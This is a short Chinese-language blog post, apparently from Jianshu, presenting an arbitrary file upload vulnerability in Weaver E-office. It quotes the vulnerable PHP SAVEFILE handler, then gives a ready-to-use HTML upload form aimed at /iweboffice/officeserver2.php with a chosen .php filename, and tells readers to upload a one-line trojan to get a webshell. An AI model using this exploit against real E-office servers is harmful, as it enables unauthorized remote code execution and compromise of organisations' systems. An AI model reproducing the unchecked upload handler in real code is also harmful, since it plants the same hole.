泛微Eoffice任意文件上傳可直接getshell

參考鏈接:https://bugs.shuimugan.com/bug/view?bug_no=125638

1.某文件多處任意文件上傳,可直接getshell ,相關(guān)代碼如下

 case "SAVEFILE" :
                $mRecordID = $RECORDID;
                $mUserName = $USERNAME;
                $mFileName = $FILENAME;
                $mFileType = $FILETYPE;
                $mDescript = $DESCRIPT;
                $mFileDate = $FileDate;
                $mFullPath = $mFilePath."/".$mFileName;
                if ( is_uploaded_file( $_FILES['MsgFileBody']['tmp_name'] ) )
                {
                                if ( move_uploaded_file( $_FILES['MsgFileBody']['tmp_name'], $mFullPath ) )
                                {
                                                $mFileSize = $_FILES['MsgFileBody']['size'];
                                                $result = true;
                                }
                                else
                                {
                                                $MsgObj->MsgError( "Save File Error" );
                                                $result = false;
                                }
                }

2.我們要構(gòu)造一份表單
OPTION為SAVEFILE,F(xiàn)ILENAME是保存的文件名可以自己命名

<select>
  <option value ="volvo">SAVEFILE</option>
</select>
<form method='post' action='/iweboffice/officeserver2.php?OPTION=SAVEFILE&FILENAME=test.php'  enctype="multipart/form-data" > 
<input type="file" name="MsgFileBody" style="height:20px;BORDER: #8F908B 1px solid;"/></br></br>
<button type=submit value="上傳">上傳</button> </form>

上傳一句話木馬即可獲取webshell

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 一、初步認識 1.上傳功能:網(wǎng)站上各種可以上傳文件,圖片的地方可以被用作上傳點進行非法上傳 2.上傳原理:在前端代...
    楠昭閱讀 1,815評論 1 11
  • 什么是文件上傳漏洞? 文件上傳漏洞是指由于程序員在對用戶文件上傳部分的控制不足或者處理缺陷,而導致的用戶可以越過其...
    Smi1e_閱讀 25,256評論 0 24
  • 大家情人節(jié)快樂! 這是我2015年看到的一個童話故事, 今天它又倏忽跑回我腦袋里來。 當時的我這樣寫道: 少年坐過...
    西瓜一個勺閱讀 477評論 0 0
  • 和為S的連續(xù)正數(shù)序列 a為1,b為2。如果a+b的值小于s,那么b++,如果a+b的值大于s那么a++ 和為s的兩...
    稀飯粥95閱讀 386評論 0 0

友情鏈接更多精彩內(nèi)容